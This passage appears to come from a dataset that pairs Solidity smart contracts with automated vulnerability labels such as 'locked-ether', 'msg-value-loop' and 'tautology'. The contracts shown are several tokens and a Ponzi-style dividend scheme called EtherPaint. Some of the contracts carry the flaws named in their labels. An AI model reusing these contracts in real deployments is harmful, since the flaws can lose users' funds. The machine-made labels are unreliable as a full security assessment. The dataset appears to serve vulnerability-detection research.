_marketingFee = _previousMarketingFee;
_charityFee = _previousCharityFee;
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(_taxFee).div(100);
uint256 tMarketing = tAmount.mul(_marketingFee).div(100);
uint256 tCharity = tAmount.mul(_charityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
tTransferAmount = tTransferAmount.sub(tMarketing);
tTransferAmount = tTransferAmount.sub(tCharity);
return (tTransferAmount, tFee, tMarketing, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 tCharity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
rTransferAmount = rTransferAmount.sub(rMarketing);
rTransferAmount = rTransferAmount.sub(rCharity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function takeTransactionFee(address to, uint256 tAmount, uint256 currentRate) private {
if (tAmount <= 0) { return; }
uint256 rAmount = tAmount.mul(currentRate);
_rOwned[to] = _rOwned[to].add(rAmount);
if (_isExcluded[to]) {
_tOwned[to] = _tOwned[to].add(tAmount);
}
}
} | These are the vulnerabilities found
1) uninitialized-local with Medium impact
2) locked-ether with Medium impact |
pragma solidity ^0.6.6;
contract Owned {
modifier onlyOwner() {
require(msg.sender==owner);
_;
}
address payable owner;
address payable newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
require(_newOwner!=address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender==newOwner) {
owner = newOwner;
}
}
}
abstract contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) view public virtual returns (uint256 balance);
function transfer(address _to, uint256 _value) public virtual returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public virtual returns (bool success);
function approve(address _spender, uint256 _value) public virtual returns (bool success);
function allowance(address _owner, address _spender) view public virtual returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Token is Owned, ERC20 {
string public symbol;
string public name;
uint8 public decimals;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
function balanceOf(address _owner) view public virtual override returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public virtual override returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public virtual override returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public virtual override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract AzureGold242 is Token{
constructor() public{
symbol = "ATG20";
name = "AzureGold242";
decimals = 18;
totalSupply = 10000000000000000000000;
owner = msg.sender;
balances[owner] = totalSupply;
}
receive () payable external {
require(msg.value>0);
owner.transfer(msg.value);
}
} | No vulnerabilities found |
pragma solidity ^0.4.20;
contract EtherPaint {
// scaleFactor is used to convert Ether into tokens and vice-versa: they're of different
// orders of magnitude, hence the need to bridge between the two.
uint256 constant scaleFactor = 0x10000000000000000; //0x10000000000000000; // 2^64
// CRR = 50%
// CRR is Cash Reserve Ratio (in this case Crypto Reserve Ratio).
// For more on this: check out https://en.wikipedia.org/wiki/Reserve_requirement
int constant crr_n = 1; // CRR numerator
int constant crr_d = 2; // CRR denominator
// The price coefficient. Chosen such that at 1 token total supply
// the amount in reserve is 0.5 ether and token price is 1 Ether.
int constant price_coeff = -0x296ABF784A358468C;
// Array between each address and their number of tokens.
mapping(address => uint256[16]) public tokenBalance;
uint256[128][128] public colorPerCoordinate;
uint256[16] public colorPerCanvas;
event colorUpdate(uint8 posx, uint8 posy, uint8 colorid);
event priceUpdate(uint8 colorid);
event tokenUpdate(uint8 colorid, address who);
event dividendUpdate();
event pushuint(uint256 s);
// Array between each address and how much Ether has been paid out to it.
// Note that this is scaled by the scaleFactor variable.
mapping(address => int256[16]) public payouts;
// Variable tracking how many tokens are in existence overall.
uint256[16] public totalSupply;
uint256 public allTotalSupply;
// Aggregate sum of all payouts.
// Note that this is scaled by the scaleFactor variable.
int256[16] totalPayouts;
// Variable tracking how much Ether each token is currently worth.
// Note that this is scaled by the scaleFactor variable.
uint256[16] earningsPerToken;
// Current contract balance in Ether
uint256[16] public contractBalance;
address public owner;
uint256 public ownerFee;
function EtherPaint() public {
owner = msg.sender;
colorPerCanvas[0] = 128*128;
pushuint(1 finney);
}
// Returns the number of tokens currently held by _owner.
function balanceOf(address _owner, uint8 colorid) public constant returns (uint256 balance) {
if (colorid >= 16){
revert();
}
return tokenBalance[_owner][colorid];
}
// Withdraws all dividends held by the caller sending the transaction, updates
// the requisite global variables, and transfers Ether back to the caller.
function withdraw(uint8 colorid) public {
if (colorid >= 16){
revert();
}
// Retrieve the dividends associated with the address the request came from.
var balance = dividends(msg.sender, colorid);
// Update the payouts array, incrementing the request address by `balance`.
payouts[msg.sender][colorid] += (int256) (balance * scaleFactor);
// Increase the total amount that's been paid out to maintain invariance.
totalPayouts[colorid] += (int256) (balance * scaleFactor);
// Send the dividends to the address that requested the withdraw.
contractBalance[colorid] = sub(contractBalance[colorid], div(mul(balance, 95),100));
msg.sender.transfer(balance);
}
function withdrawOwnerFee() public{
if (msg.sender == owner){
owner.transfer(ownerFee);
ownerFee = 0;
}
}
// Sells your tokens for Ether. This Ether is assigned to the callers entry
// in the tokenBalance array, and therefore is shown as a dividend. A second
// call to withdraw() must be made to invoke the transfer of Ether back to your address.
function sellMyTokens(uint8 colorid) public {
if (colorid >= 16){
revert();
}
var balance = balanceOf(msg.sender, colorid);
sell(balance, colorid);
priceUpdate(colorid);
dividendUpdate();
tokenUpdate(colorid, msg.sender);
}
function sellMyTokensAmount(uint8 colorid, uint256 amount) public {
if (colorid >= 16){
revert();
}
var balance = balanceOf(msg.sender, colorid);
if (amount <= balance){
sell(amount, colorid);
priceUpdate(colorid);
dividendUpdate();
tokenUpdate(colorid, msg.sender);
}
}
// The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately
// invokes the withdraw() function, sending the resulting Ether to the callers address.
function getMeOutOfHere() public {
for (uint8 i=0; i<16; i++){
sellMyTokens(i);
withdraw(i);
}
}
// Gatekeeper function to check if the amount of Ether being sent isn't either
// too small or too large. If it passes, goes direct to buy().
function fund(uint8 colorid, uint8 posx, uint8 posy) payable public {
// Don't allow for funding if the amount of Ether sent is less than 1 szabo.
if (colorid >= 16){
revert();
}
if ((msg.value > 0.000001 ether) && (posx >= 0) && (posx <= 127) && (posy >= 0) && (posy <= 127)) {
contractBalance[colorid] = add(contractBalance[colorid], div(mul(msg.value, 95),100));
buy(colorid);
colorPerCanvas[colorPerCoordinate[posx][posy]] = sub(colorPerCanvas[colorPerCoordinate[posx][posy]], 1);
colorPerCoordinate[posx][posy] = colorid;
colorPerCanvas[colorid] = add(colorPerCanvas[colorid],1);
colorUpdate(posx, posy, colorid);
priceUpdate(colorid);
dividendUpdate();
tokenUpdate(colorid, msg.sender);
} else {
revert();
}
}
// Function that returns the (dynamic) price of buying a finney worth of tokens.
function buyPrice(uint8 colorid) public constant returns (uint) {
if (colorid >= 16){
revert();
}
return getTokensForEther(1 finney, colorid);
}
// Function that returns the (dynamic) price of selling a single token.
function sellPrice(uint8 colorid) public constant returns (uint) {
if (colorid >= 16){
revert();
}
var eth = getEtherForTokens(1 finney, colorid);
var fee = div(eth, 10);
return eth - fee;
}
// Calculate the current dividends associated with the caller address. This is the net result
// of multiplying the number of tokens held by their current value in Ether and subtracting the
// Ether that has already been paid out.
function dividends(address _owner, uint8 colorid) public constant returns (uint256 amount) {
if (colorid >= 16){
revert();
}
return (uint256) ((int256)(earningsPerToken[colorid] * tokenBalance[_owner][colorid]) - payouts[_owner][colorid]) / scaleFactor;
}
// Version of withdraw that extracts the dividends and sends the Ether to the caller.
// This is only used in the case when there is no transaction data, and that should be
// quite rare unless interacting directly with the smart contract.
//function withdrawOld(address to) public {
// Retrieve the dividends associated with the address the request came from.
// var balance = dividends(msg.sender);
// Update the payouts array, incrementing the request address by `balance`.
//payouts[msg.sender] += (int256) (balance * scaleFactor);
// Increase the total amount that's been paid out to maintain invariance.
//totalPayouts += (int256) (balance * scaleFactor);
// Send the dividends to the address that requested the withdraw.
//contractBalance = sub(contractBalance, balance);
//to.transfer(balance);
//}
// Internal balance function, used to calculate the dynamic reserve value.
function balance(uint8 colorid) internal constant returns (uint256 amount) {
// msg.value is the amount of Ether sent by the transaction.
return contractBalance[colorid] - msg.value;
}
function buy(uint8 colorid) internal {
// Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it.
if (msg.value < 0.000001 ether || msg.value > 1000000 ether)
revert();
// msg.sender is the address of the caller.
//var sender = msg.sender;
// 10% of the total Ether sent is used to pay existing holders.
var fee = mul(div(msg.value, 20), 4);
// The amount of Ether used to purchase new tokens for the caller.
//var numEther = msg.value - fee;
// The number of tokens which can be purchased for numEther.
var numTokens = getTokensForEther(msg.value - fee, colorid);
// The buyer fee, scaled by the scaleFactor variable.
uint256 buyerFee = 0;
// Check that we have tokens in existence (this should always be true), or
// else you're gonna have a bad time.
if (totalSupply[colorid] > 0) {
// Compute the bonus co-efficient for all existing holders and the buyer.
// The buyer receives part of the distribution for each token bought in the
// same way they would have if they bought each token individually.
for (uint8 c=0; c<16; c++){
if (totalSupply[c] > 0){
var theExtraFee = mul(div(mul(div(fee,4), scaleFactor), allTotalSupply), totalSupply[c]) + mul(div(div(fee,4), 128*128),mul(colorPerCanvas[c], scaleFactor));
//var globalFee = div(mul(mul(div(div(fee,4), allTotalSupply), totalSupply[c]), scaleFactor),totalSupply[c]);
if (c==colorid){
buyerFee = (div(fee,4) + div(theExtraFee,scaleFactor))*scaleFactor - (div(fee, 4) + div(theExtraFee,scaleFactor)) * (scaleFactor - (reserve(colorid) + msg.value - fee) * numTokens * scaleFactor / (totalSupply[colorid] + numTokens) / (msg.value - fee))
* (uint)(crr_d) / (uint)(crr_d-crr_n);
}
else{
earningsPerToken[c] = add(earningsPerToken[c], div(theExtraFee, totalSupply[c]));
}
}
}
ownerFee = add(ownerFee, div(fee,4));
// The total reward to be distributed amongst the masses is the fee (in Ether)
// multiplied by the bonus co-efficient.
// Fee is distributed to all existing token holders before the new tokens are purchased.
// rewardPerShare is the amount gained per token thanks to this buy-in.
// The Ether value per token is increased proportionally.
// 5%
earningsPerToken[colorid] = earningsPerToken[colorid] + buyerFee / (totalSupply[colorid]);
}
totalSupply[colorid] = add(totalSupply[colorid], numTokens);
allTotalSupply = add(allTotalSupply, numTokens);
// Add the numTokens which were just created to the total supply. We're a crypto central bank!
// Assign the tokens to the balance of the buyer.
tokenBalance[msg.sender][colorid] = add(tokenBalance[msg.sender][colorid], numTokens);
// Update the payout array so that the buyer cannot claim dividends on previous purchases.
// Also include the fee paid for entering the scheme.
// First we compute how much was just paid out to the buyer...
// Then we update the payouts array for the buyer with this amount...
payouts[msg.sender][colorid] += (int256) ((earningsPerToken[colorid] * numTokens) - buyerFee);
// And then we finally add it to the variable tracking the total amount spent to maintain invariance.
totalPayouts[colorid] += (int256) ((earningsPerToken[colorid] * numTokens) - buyerFee);
}
// Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee
// to discouraging dumping, and means that if someone near the top sells, the fee distributed
// will be *significant*.
function sell(uint256 amount, uint8 colorid) internal {
// Calculate the amount of Ether that the holders tokens sell for at the current sell price.
var numEthersBeforeFee = getEtherForTokens(amount, colorid);
// 20% of the resulting Ether is used to pay remaining holders.
var fee = mul(div(numEthersBeforeFee, 20), 4);
// Net Ether for the seller after the fee has been subtracted.
var numEthers = numEthersBeforeFee - fee;
// *Remove* the numTokens which were just sold from the total supply. We're /definitely/ a crypto central bank.
totalSupply[colorid] = sub(totalSupply[colorid], amount);
allTotalSupply = sub(allTotalSupply, amount);
// Remove the tokens from the balance of the buyer.
tokenBalance[msg.sender][colorid] = sub(tokenBalance[msg.sender][colorid], amount);
// Update the payout array so that the seller cannot claim future dividends unless they buy back in.
// First we compute how much was just paid out to the seller...
var payoutDiff = (int256) (earningsPerToken[colorid] * amount + (numEthers * scaleFactor));
// We reduce the amount paid out to the seller (this effectively resets their payouts value to zero,
// since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if
// they decide to buy back in.
payouts[msg.sender][colorid] -= payoutDiff;
// Decrease the total amount that's been paid out to maintain invariance.
totalPayouts[colorid] -= payoutDiff;
// Check that we have tokens in existence (this is a bit of an irrelevant check since we're
// selling tokens, but it guards against division by zero).
if (totalSupply[colorid] > 0) {
// Scale the Ether taken as the selling fee by the scaleFactor variable.
for (uint8 c=0; c<16; c++){
if (totalSupply[c] > 0){
var theExtraFee = mul(div(mul(div(fee,4), scaleFactor), allTotalSupply), totalSupply[c]) + mul(div(div(fee,4), 128*128),mul(colorPerCanvas[c], scaleFactor));
earningsPerToken[c] = add(earningsPerToken[c], div(theExtraFee,totalSupply[c]));
}
}
ownerFee = add(ownerFee, div(fee,4));
var etherFee = div(fee,4) * scaleFactor;
// Fee is distributed to all remaining token holders.
// rewardPerShare is the amount gained per token thanks to this sell.
var rewardPerShare = etherFee / totalSupply[colorid];
// The Ether value per token is increased proportionally.
earningsPerToken[colorid] = add(earningsPerToken[colorid], rewardPerShare);
}
}
// Dynamic value of Ether in reserve, according to the CRR requirement.
function reserve(uint8 colorid) internal constant returns (uint256 amount) {
return sub(balance(colorid),
((uint256) ((int256) (earningsPerToken[colorid] * totalSupply[colorid]) - totalPayouts[colorid]) / scaleFactor));
}
// Calculates the number of tokens that can be bought for a given amount of Ether, according to the
// dynamic reserve and totalSupply values (derived from the buy and sell prices).
function getTokensForEther(uint256 ethervalue, uint8 colorid) public constant returns (uint256 tokens) {
if (colorid >= 16){
revert();
}
return sub(fixedExp(fixedLog(reserve(colorid) + ethervalue)*crr_n/crr_d + price_coeff), totalSupply[colorid]);
}
// Converts a number tokens into an Ether value.
function getEtherForTokens(uint256 tokens, uint8 colorid) public constant returns (uint256 ethervalue) {
if (colorid >= 16){
revert();
}
// How much reserve Ether do we have left in the contract?
var reserveAmount = reserve(colorid);
// If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault.
if (tokens == totalSupply[colorid])
return reserveAmount;
// If there would be excess Ether left after the transaction this is called within, return the Ether
// corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found
// at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator
// and denominator altered to 1 and 2 respectively.
return sub(reserveAmount, fixedExp((fixedLog(totalSupply[colorid] - tokens) - price_coeff) * crr_d/crr_n));
}
// You don't care about these, but if you really do they're hex values for
// co-efficients used to simulate approximations of the log and exp functions.
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
// The below are safemath implementations of the four arithmetic operators
// designed to explicitly prevent over- and under-flows of integer values.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// This allows you to buy tokens by sending Ether directly to the smart contract
// without including any transaction data (useful for, say, mobile wallet apps).
function () payable public {
// msg.value is the amount of Ether sent by the transaction.
revert();
//if (msg.value > 0) {
// revert();
//} else {
// for (uint8 i=0; i<16; i++){
// withdraw(i);
// }
//}
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) msg-value-loop with High impact
3) tautology with Medium impact |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TouristToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "TouristToken";
string public constant symbol = "TOTO";
uint public constant decimals = 8;
uint256 public totalSupply = 20000000000e8;
uint256 public totalDistributed = 0;
uint256 public constant MIN_CONTRIBUTION = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 15000000e8;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function TouristToken () public {
owner = msg.sender;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
// minimum contribution
require( msg.value >= MIN_CONTRIBUTION );
require( msg.value > 0 );
// get baseline number of tokens
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | These are the vulnerabilities found
1) shadowing-abstract with Medium impact |
pragma solidity 0.4.20;
contract IAugur {
function createChildUniverse(bytes32 _parentPayoutDistributionHash, uint256[] _parentPayoutNumerators, bool _parentInvalid) public returns (IUniverse);
function isKnownUniverse(IUniverse _universe) public view returns (bool);
function trustedTransfer(ERC20 _token, address _from, address _to, uint256 _amount) public returns (bool);
function logMarketCreated(bytes32 _topic, string _description, string _extraInfo, IUniverse _universe, address _market, address _marketCreator, bytes32[] _outcomes, int256 _minPrice, int256 _maxPrice, IMarket.MarketType _marketType) public returns (bool);
function logMarketCreated(bytes32 _topic, string _description, string _extraInfo, IUniverse _universe, address _market, address _marketCreator, int256 _minPrice, int256 _maxPrice, IMarket.MarketType _marketType) public returns (bool);
function logInitialReportSubmitted(IUniverse _universe, address _reporter, address _market, uint256 _amountStaked, bool _isDesignatedReporter, uint256[] _payoutNumerators, bool _invalid) public returns (bool);
function disputeCrowdsourcerCreated(IUniverse _universe, address _market, address _disputeCrowdsourcer, uint256[] _payoutNumerators, uint256 _size, bool _invalid) public returns (bool);
function logDisputeCrowdsourcerContribution(IUniverse _universe, address _reporter, address _market, address _disputeCrowdsourcer, uint256 _amountStaked) public returns (bool);
function logDisputeCrowdsourcerCompleted(IUniverse _universe, address _market, address _disputeCrowdsourcer) public returns (bool);
function logInitialReporterRedeemed(IUniverse _universe, address _reporter, address _market, uint256 _amountRedeemed, uint256 _repReceived, uint256 _reportingFeesReceived, uint256[] _payoutNumerators) public returns (bool);
function logDisputeCrowdsourcerRedeemed(IUniverse _universe, address _reporter, address _market, uint256 _amountRedeemed, uint256 _repReceived, uint256 _reportingFeesReceived, uint256[] _payoutNumerators) public returns (bool);
function logFeeWindowRedeemed(IUniverse _universe, address _reporter, uint256 _amountRedeemed, uint256 _reportingFeesReceived) public returns (bool);
function logMarketFinalized(IUniverse _universe) public returns (bool);
function logMarketMigrated(IMarket _market, IUniverse _originalUniverse) public returns (bool);
function logReportingParticipantDisavowed(IUniverse _universe, IMarket _market) public returns (bool);
function logMarketParticipantsDisavowed(IUniverse _universe) public returns (bool);
function logOrderCanceled(IUniverse _universe, address _shareToken, address _sender, bytes32 _orderId, Order.Types _orderType, uint256 _tokenRefund, uint256 _sharesRefund) public returns (bool);
function logOrderCreated(Order.Types _orderType, uint256 _amount, uint256 _price, address _creator, uint256 _moneyEscrowed, uint256 _sharesEscrowed, bytes32 _tradeGroupId, bytes32 _orderId, IUniverse _universe, address _shareToken) public returns (bool);
function logOrderFilled(IUniverse _universe, address _shareToken, address _filler, bytes32 _orderId, uint256 _numCreatorShares, uint256 _numCreatorTokens, uint256 _numFillerShares, uint256 _numFillerTokens, uint256 _marketCreatorFees, uint256 _reporterFees, uint256 _amountFilled, bytes32 _tradeGroupId) public returns (bool);
function logCompleteSetsPurchased(IUniverse _universe, IMarket _market, address _account, uint256 _numCompleteSets) public returns (bool);
function logCompleteSetsSold(IUniverse _universe, IMarket _market, address _account, uint256 _numCompleteSets) public returns (bool);
function logTradingProceedsClaimed(IUniverse _universe, address _shareToken, address _sender, address _market, uint256 _numShares, uint256 _numPayoutTokens, uint256 _finalTokenBalance) public returns (bool);
function logUniverseForked() public returns (bool);
function logFeeWindowTransferred(IUniverse _universe, address _from, address _to, uint256 _value) public returns (bool);
function logReputationTokensTransferred(IUniverse _universe, address _from, address _to, uint256 _value) public returns (bool);
function logDisputeCrowdsourcerTokensTransferred(IUniverse _universe, address _from, address _to, uint256 _value) public returns (bool);
function logShareTokensTransferred(IUniverse _universe, address _from, address _to, uint256 _value) public returns (bool);
function logReputationTokenBurned(IUniverse _universe, address _target, uint256 _amount) public returns (bool);
function logReputationTokenMinted(IUniverse _universe, address _target, uint256 _amount) public returns (bool);
function logShareTokenBurned(IUniverse _universe, address _target, uint256 _amount) public returns (bool);
function logShareTokenMinted(IUniverse _universe, address _target, uint256 _amount) public returns (bool);
function logFeeWindowBurned(IUniverse _universe, address _target, uint256 _amount) public returns (bool);
function logFeeWindowMinted(IUniverse _universe, address _target, uint256 _amount) public returns (bool);
function logDisputeCrowdsourcerTokensBurned(IUniverse _universe, address _target, uint256 _amount) public returns (bool);
function logDisputeCrowdsourcerTokensMinted(IUniverse _universe, address _target, uint256 _amount) public returns (bool);
function logFeeWindowCreated(IFeeWindow _feeWindow, uint256 _id) public returns (bool);
function logFeeTokenTransferred(IUniverse _universe, address _from, address _to, uint256 _value) public returns (bool);
function logFeeTokenBurned(IUniverse _universe, address _target, uint256 _amount) public returns (bool);
function logFeeTokenMinted(IUniverse _universe, address _target, uint256 _amount) public returns (bool);
function logTimestampSet(uint256 _newTimestamp) public returns (bool);
function logInitialReporterTransferred(IUniverse _universe, IMarket _market, address _from, address _to) public returns (bool);
function logMarketTransferred(IUniverse _universe, address _from, address _to) public returns (bool);
